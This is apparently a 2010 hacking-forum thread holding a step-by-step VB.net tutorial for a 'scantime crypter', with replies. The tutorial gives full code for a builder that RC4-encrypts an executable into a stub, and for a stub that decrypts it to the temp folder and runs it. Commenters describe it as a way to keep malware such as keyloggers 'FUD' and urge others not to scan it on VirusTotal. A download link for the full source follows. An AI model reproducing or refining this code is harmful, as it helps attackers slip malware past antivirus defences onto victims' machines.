[VB.net] How to create a scantime crypter! [TUT] - Joey K - Jan 17, 2010
How To Create A Scantime Crypter!
==================================
Tutorial By Drake™
==================================
What You Need:
- Visual Basic 2008
- Textbox1
- Button1
- Button2
The Builder
Step 1
Change the text of Button1 to "Browse"
Change the text of Button2 to "Crypt"
Step 2
Put above Public Class Form1:
Now, put under Public Class Form1:
Code Const filesplit = "@Sonix™@"
Change "Sonix™" to what ever you like.
Step 3
Double click the Button1 & put this code:
Code Dim openf As New OpenFileDialog
If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = openf.FileName
Else : Exit Sub
End If
That will let you browse and select the file that you want to crypt.
Step 4
Double click Button2, and inset the code:
Code Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "sonixisthebest"))
FileClose(1)
MsgBox("Crypted!")
Me.Close()
This code will open the stub and make your crypted file.
Step 5
Put this code somewhere in the builder, but not in a sub.
Code Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
This code is RC4 encryption. There are many other encryption types, but I am using it for this tutorial.
Now, if your builder has no errors, we will now create the stub.
The Stub
Step 1
Put above Public Class Form1:
Now, put under Public Class Form1:
Code Const filesplit = "@Sonix™@"
Make sure that what you put between:
is the same as in the builder. Otherwise it wont work.
Step 2
Inset into Private Sub Form1_Load:
Code On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "sonixisthebest")
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End
This will be a part of what makes your file scantime.
Step 3
Once again, we need to add the RC4 function:
Code Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
Put it anywhere, but not in a sub.
🤗🤗🤗 Congrats! You just made a scantime crypter! 🤗🤗🤗
Code: Nathan
Tutorial: Drake™
This tutorial was inspired by Soul Collectors advanced keylogger tutorial!
[img]http://www.upl0ad.org/images/8wzlu.png[/img]
* - Air Prange - Jan 17, 2010
nice, and thanks
but wont that be detected because all we are doing is copying your code
* - Joey K - Jan 17, 2010
(Jan 17, 2010 06:08 PM)Air Prange Wrote: nice, and thanks
but wont that be detected because all we are doing is copying your code
Nothing stay FUD forever. It's only RC4. It's been posted before on HF.
It's scantime, not runtime.
* - cyb3rp4nda - Jan 17, 2010
nice tut
no one upload this to no virus thanks
* - Neroxan - Jan 17, 2010
Rc4 is a weak encryption, but other than that a well put together tutorial.
* - Joey K - Jan 17, 2010
(Jan 17, 2010 06:11 PM)cyb3rp4nda Wrote: nice tut
no one upload this to no virus thanks
You wouldnt need to scan it. 🙃
I would kill them if they scanned it with virustotal though.
(Jan 17, 2010 06:12 PM)Imwyldechylde Wrote: Rc4 is a weak encryption, but other than that a well put together tutorial.
Exactly. I might post a runtime and scantime tutorial in the L33T section. And thanks. :D
* - Vorfin - Jan 17, 2010
Oh, no no no, oh, God, please no. Good guide, but now we're going to have just as many scantime crypters as we do shitty keyloggers =S
Also, credit Nathan please, that's his exact code.
* - Joey K - Jan 17, 2010
(Jan 17, 2010 06:14 PM)Vorfin Wrote: Oh, no no no, oh, God, please no. Good guide, but now we're going to have just as many scantime crypters as we do shitty keyloggers =S
Lol. True, but it needed to be posted.
* - Sparky - Jan 17, 2010
I get these to errors when building the builder
1. Error 1 Name 'rc4' is not declared.
2. Error 2 Statement is not valid in a namespace.
* - Joey K - Jan 17, 2010
(Jan 17, 2010 06:46 PM)Sparky Wrote: I get these to errors when building the builder
1. Error 1 Name 'rc4' is not declared.
2. Error 2 Statement is not valid in a namespace.
Have you put this code in?
Code Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
* - Sparky - Jan 17, 2010
(Jan 17, 2010 06:51 PM)Sonix™ Wrote: Have you put this code in?
Code Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
Yes, I placed it at the very bottom.
* - Joey K - Jan 17, 2010
(Jan 17, 2010 07:06 PM)Sparky Wrote: Yes, I placed it at the very bottom.
You can download the full source here:
http://www.mediafire.com/?ymk4gbknqiy
🤝
* - Sparky - Jan 17, 2010
Thanks. Great TuT by the way.
* - Joey K - Jan 17, 2010
(Jan 17, 2010 07:41 PM)Sparky Wrote: Thanks. Great TuT by the way.
No problem. Glad you liked it.
🤝
* - Lotos - Jan 18, 2010
Great tut thanks :blackhaT:
|